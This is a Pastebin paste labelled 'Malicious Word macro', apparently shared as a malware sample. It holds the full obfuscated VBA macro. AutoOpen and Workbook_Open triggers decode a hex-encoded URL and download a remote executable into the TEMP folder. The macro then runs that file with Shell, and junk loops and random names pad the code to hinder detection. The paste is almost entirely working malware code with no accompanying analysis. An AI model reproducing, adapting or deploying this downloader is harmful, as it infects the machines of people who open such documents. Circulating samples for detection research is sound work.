Advertisement
dynamoo

Malicious Word macro

Jan 15th, 2015
518
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dsfsdf As LongPtr, _
  12.     ByVal sdfsdfgds As String, _
  13.     ByVal yurtysdf As String, _
  14.     ByVal iufdsd As Long, _
  15.     ByVal vbxdfsdf As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dsfsdf As Long, _
  19.     ByVal sdfsdfgds As String, _
  20.     ByVal yurtysdf As String, _
  21.     ByVal iufdsd As Long, _
  22.     ByVal vbxdfsdf As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub uiwefds()
  27. Dim JzOjvKld As Integer
  28. For JzOjvKld = 0 To 1
  29. Dim pBBdhbMj As Integer
  30. For pBBdhbMj = 0 To 9
  31. Dim MQeaXHnQ As Integer
  32. For MQeaXHnQ = 0 To 7
  33. DoEvents
  34. Next MQeaXHnQ
  35. DoEvents
  36. Next pBBdhbMj
  37. Dim PLCvpaGo As Integer
  38. For PLCvpaGo = 0 To 5
  39. DoEvents
  40. Next PLCvpaGo
  41. DoEvents
  42. Next JzOjvKld
  43. Dim ByLPRPoF As Integer
  44. For ByLPRPoF = 0 To 8
  45. Dim KzYSAJew As Integer
  46. For KzYSAJew = 0 To 6
  47. DoEvents
  48. Next KzYSAJew
  49. DoEvents
  50. Next ByLPRPoF
  51. Dim UonpGakM As Integer
  52. For UonpGakM = 0 To 5
  53. DoEvents
  54. Next UonpGakM
  55. UGivgHgfdg
  56. End Sub
  57. Sub AutoOpen()
  58. Dim HipjVMDI As Integer
  59. For HipjVMDI = 0 To 6
  60. Dim FldilXKU As Integer
  61. For FldilXKU = 0 To 3
  62. Dim neEzgwIm As Integer
  63. For neEzgwIm = 0 To 7
  64. DoEvents
  65. Next neEzgwIm
  66. DoEvents
  67. Next FldilXKU
  68. Dim jpxnEYVL As Integer
  69. For jpxnEYVL = 0 To 5
  70. DoEvents
  71. Next jpxnEYVL
  72. DoEvents
  73. Next HipjVMDI
  74. Dim KNMUJHlQ As Integer
  75. For KNMUJHlQ = 0 To 3
  76. Dim IiYHosKX As Integer
  77. For IiYHosKX = 0 To 1
  78. DoEvents
  79. Next IiYHosKX
  80. DoEvents
  81. Next KNMUJHlQ
  82. Dim qMjVLPPI As Integer
  83. For qMjVLPPI = 0 To 6
  84. DoEvents
  85. Next qMjVLPPI
  86.     uiwefds
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim zFxkURlO As Integer
  90. For zFxkURlO = 0 To 3
  91. Dim WUxmpDbh As Integer
  92. For WUxmpDbh = 0 To 7
  93. Dim NiIUHMrP As Integer
  94. For NiIUHMrP = 0 To 8
  95. DoEvents
  96. Next NiIUHMrP
  97. DoEvents
  98. Next WUxmpDbh
  99. Dim AVCbuhOj As Integer
  100. For AVCbuhOj = 0 To 4
  101. DoEvents
  102. Next AVCbuhOj
  103. DoEvents
  104. Next zFxkURlO
  105. Dim cliZMskz As Integer
  106. For cliZMskz = 0 To 3
  107. Dim TnVmmvfd As Integer
  108. For TnVmmvfd = 0 To 4
  109. DoEvents
  110. Next TnVmmvfd
  111. DoEvents
  112. Next cliZMskz
  113. Dim LJnsAqIf As Integer
  114. For LJnsAqIf = 0 To 7
  115. DoEvents
  116. Next LJnsAqIf
  117.     uiwefds
  118. End Sub
  119. Sub UGivgHgfdg()
  120. Dim aMXkuYDt As Integer
  121. For aMXkuYDt = 0 To 6
  122. Dim VhVjCVvI As Integer
  123. For VhVjCVvI = 0 To 4
  124. Dim ylrNCMWQ As Integer
  125. For ylrNCMWQ = 0 To 3
  126. DoEvents
  127. Next ylrNCMWQ
  128. DoEvents
  129. Next VhVjCVvI
  130. Dim lHpAOReT As Integer
  131. For lHpAOReT = 0 To 6
  132. DoEvents
  133. Next lHpAOReT
  134. DoEvents
  135. Next aMXkuYDt
  136. Dim DZwbJyAN As Integer
  137. For DZwbJyAN = 0 To 2
  138. Dim WEDuKupQ As Integer
  139. For WEDuKupQ = 0 To 1
  140. DoEvents
  141. Next WEDuKupQ
  142. DoEvents
  143. Next DZwbJyAN
  144. Dim pMhVBLRS As Integer
  145. For pMhVBLRS = 0 To 6
  146.  
  147. Next pMhVBLRS
  148. ghKJfg = gHBJdsg("6874")
  149. jnkdsf = gHBJdsg("74703A2F2F")
  150. hdsjkf = gHBJdsg("6472616D616B617A756B692E6B657361676972692E6E65742F6A732F62696E2E657865")
  151.     ewrwefdsf = ghKJfg + jnkdsf + hdsjkf
  152.  
  153. Dim IzqfqBCT As Integer
  154. For IzqfqBCT = 0 To 2
  155. Dim qJRLoONV As Integer
  156. For qJRLoONV = 0 To 7
  157. Dim tbUUVMUg As Integer
  158. For tbUUVMUg = 0 To 6
  159. DoEvents
  160. Next tbUUVMUg
  161. DoEvents
  162. Next qJRLoONV
  163. Dim tnRLuKkx As Integer
  164. For tnRLuKkx = 0 To 6
  165. DoEvents
  166. Next tnRLuKkx
  167. DoEvents
  168. Next IzqfqBCT
  169. Dim NrzarJeg As Integer
  170. For NrzarJeg = 0 To 5
  171. Dim yxXAyyyv As Integer
  172. For yxXAyyyv = 0 To 9
  173. DoEvents
  174. Next yxXAyyyv
  175. DoEvents
  176. Next NrzarJeg
  177. Dim JzPxPklW As Integer
  178. For JzPxPklW = 0 To 6
  179. DoEvents
  180. Next JzPxPklW
  181.     ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
  182. Dim ETUbKtRJ As Integer
  183. For ETUbKtRJ = 0 To 4
  184. Dim IiOcPqqr As Integer
  185. For IiOcPqqr = 0 To 8
  186. Dim CwnoVirg As Integer
  187. For CwnoVirg = 0 To 4
  188. DoEvents
  189. Next CwnoVirg
  190. DoEvents
  191. Next IiOcPqqr
  192. Dim ONhNGOcj As Integer
  193. For ONhNGOcj = 0 To 2
  194. DoEvents
  195. Next ONhNGOcj
  196. DoEvents
  197. Next ETUbKtRJ
  198. Dim pBVhaYHP As Integer
  199. For pBVhaYHP = 0 To 4
  200. Dim wYauEKwW As Integer
  201. For wYauEKwW = 0 To 6
  202. DoEvents
  203. Next wYauEKwW
  204. DoEvents
  205. Next pBVhaYHP
  206. Dim LJYSRlqY As Integer
  207. For LJYSRlqY = 0 To 1
  208. DoEvents
  209. Next LJYSRlqY
  210.     wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
  211.    Dim gffUYUdfg
  212. Dim YgpqTtOy As Integer
  213. For YgpqTtOy = 0 To 2
  214. Dim QSZWppCH As Integer
  215. For QSZWppCH = 0 To 2
  216. Dim ZJYDvLqr As Integer
  217. For ZJYDvLqr = 0 To 9
  218. DoEvents
  219. Next ZJYDvLqr
  220. DoEvents
  221. Next QSZWppCH
  222. Dim NaskblaF As Integer
  223. For NaskblaF = 0 To 5
  224. DoEvents
  225. Next NaskblaF
  226. DoEvents
  227. Next YgpqTtOy
  228. Dim dEJDnTZw As Integer
  229. For dEJDnTZw = 0 To 7
  230. Dim sGQchASM As Integer
  231. For sGQchASM = 0 To 4
  232. DoEvents
  233. Next sGQchASM
  234. DoEvents
  235. Next dEJDnTZw
  236. Dim wRiSDhtL As Integer
  237. For wRiSDhtL = 0 To 6
  238. DoEvents
  239. Next wRiSDhtL
  240.     gffUYUdfg = Shell(ewwfgfdg, 1)
  241.  
  242. End Sub
  243. Public Function gHBJdsg(ByVal hextext As String) As String
  244.  
  245. Dim wWbztFwG As Integer
  246.  
  247. Dim GUPqhtPg As Integer
  248. GUPqhtPg = 5
  249. Do While GUPqhtPg < 48
  250. DoEvents: GUPqhtPg = GUPqhtPg + 1
  251. Loop
  252.  
  253. wWbztFwG = 2
  254. Do While wWbztFwG < 12
  255.  
  256. Dim uRXhQDWq As Integer
  257. uRXhQDWq = 8
  258. Do While uRXhQDWq < 78
  259. DoEvents: uRXhQDWq = uRXhQDWq + 1
  260. Loop
  261.  
  262. DoEvents: wWbztFwG = wWbztFwG + 1
  263.  
  264. Dim EVQinjcM As Integer
  265. EVQinjcM = 3
  266. Do While EVQinjcM < 84
  267. DoEvents: EVQinjcM = EVQinjcM + 1
  268. Loop
  269.  
  270. Loop
  271.  
  272.  
  273. Dim yPwhqFgT As Integer
  274. yPwhqFgT = 8
  275. Do While yPwhqFgT < 42
  276. DoEvents: yPwhqFgT = yPwhqFgT + 1
  277. Loop
  278.  
  279.    
  280. For y = 1 To Len(hextext)
  281.  
  282. Dim DKQuAxYQ As Integer
  283.  
  284. Dim ApQiblsP As Integer
  285. ApQiblsP = 3
  286. Do While ApQiblsP < 76
  287. DoEvents: ApQiblsP = ApQiblsP + 1
  288. Loop
  289.  
  290. DKQuAxYQ = 5
  291. Do While DKQuAxYQ < 41
  292.  
  293. Dim rXwhqJex As Integer
  294. rXwhqJex = 8
  295. Do While rXwhqJex < 34
  296. DoEvents: rXwhqJex = rXwhqJex + 1
  297. Loop
  298.  
  299. DoEvents: DKQuAxYQ = DKQuAxYQ + 1
  300.  
  301. Dim GPlvEueK As Integer
  302. GPlvEueK = 3
  303. Do While GPlvEueK < 49
  304. DoEvents: GPlvEueK = GPlvEueK + 1
  305. Loop
  306.  
  307. Loop
  308.  
  309.  
  310. Dim jxtTfTWR As Integer
  311. jxtTfTWR = 7
  312. Do While jxtTfTWR < 96
  313. DoEvents: jxtTfTWR = jxtTfTWR + 1
  314. Loop
  315.  
  316.     num = Mid(hextext, y, 2)
  317.  
  318. Dim qsnBhNom As Integer
  319.  
  320. Dim RVFXklSQ As Integer
  321. RVFXklSQ = 3
  322. Do While RVFXklSQ < 59
  323. DoEvents: RVFXklSQ = RVFXklSQ + 1
  324. Loop
  325.  
  326. qsnBhNom = 9
  327. Do While qsnBhNom < 46
  328.  
  329. Dim mtIlYZzo As Integer
  330. mtIlYZzo = 1
  331. Do While mtIlYZzo < 65
  332. DoEvents: mtIlYZzo = mtIlYZzo + 1
  333. Loop
  334.  
  335. DoEvents: qsnBhNom = qsnBhNom + 1
  336.  
  337. Dim DKDBypFV As Integer
  338. DKDBypFV = 5
  339. Do While DKDBypFV < 41
  340. DoEvents: DKDBypFV = DKDBypFV + 1
  341. Loop
  342.  
  343. Loop
  344.  
  345.  
  346. Dim EBUcmmrw As Integer
  347. EBUcmmrw = 3
  348. Do While EBUcmmrw < 22
  349. DoEvents: EBUcmmrw = EBUcmmrw + 1
  350. Loop
  351.  
  352.     Value = Value & Chr(CDbl("&h" & num))
  353.  
  354. Dim lqyAAJfk As Integer
  355.  
  356. Dim HnhDciWZ As Integer
  357. HnhDciWZ = 5
  358. Do While HnhDciWZ < 19
  359. DoEvents: HnhDciWZ = HnhDciWZ + 1
  360. Loop
  361.  
  362. lqyAAJfk = 1
  363. Do While lqyAAJfk < 94
  364.  
  365. Dim JwOgaoKJ As Integer
  366. JwOgaoKJ = 5
  367. Do While JwOgaoKJ < 18
  368. DoEvents: JwOgaoKJ = JwOgaoKJ + 1
  369. Loop
  370.  
  371. DoEvents: lqyAAJfk = lqyAAJfk + 1
  372.  
  373. Dim AqUclcKd As Integer
  374. AqUclcKd = 9
  375. Do While AqUclcKd < 24
  376. DoEvents: AqUclcKd = AqUclcKd + 1
  377. Loop
  378.  
  379. Loop
  380.  
  381.  
  382. Dim kkAWIUuP As Integer
  383. kkAWIUuP = 8
  384. Do While kkAWIUuP < 96
  385. DoEvents: kkAWIUuP = kkAWIUuP + 1
  386. Loop
  387.  
  388.     y = y + 1
  389. Next y
  390.  
  391.  
  392. Dim ljYAaKUD As Integer
  393.  
  394. Dim HEaLjCxl As Integer
  395. HEaLjCxl = 5
  396. Do While HEaLjCxl < 19
  397. DoEvents: HEaLjCxl = HEaLjCxl + 1
  398. Loop
  399.  
  400. ljYAaKUD = 1
  401. Do While ljYAaKUD < 67
  402.  
  403. Dim YPWkTuQH As Integer
  404. YPWkTuQH = 3
  405. Do While YPWkTuQH < 82
  406. DoEvents: YPWkTuQH = YPWkTuQH + 1
  407. Loop
  408.  
  409. DoEvents: ljYAaKUD = ljYAaKUD + 1
  410.  
  411. Dim fLpdInWj As Integer
  412. fLpdInWj = 9
  413. Do While fLpdInWj < 81
  414. DoEvents: fLpdInWj = fLpdInWj + 1
  415. Loop
  416.  
  417. Loop
  418.  
  419.  
  420. Dim kwdanxIn As Integer
  421. kwdanxIn = 1
  422. Do While kwdanxIn < 96
  423. DoEvents: kwdanxIn = kwdanxIn + 1
  424. Loop
  425.  
  426. gHBJdsg = Value
  427. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement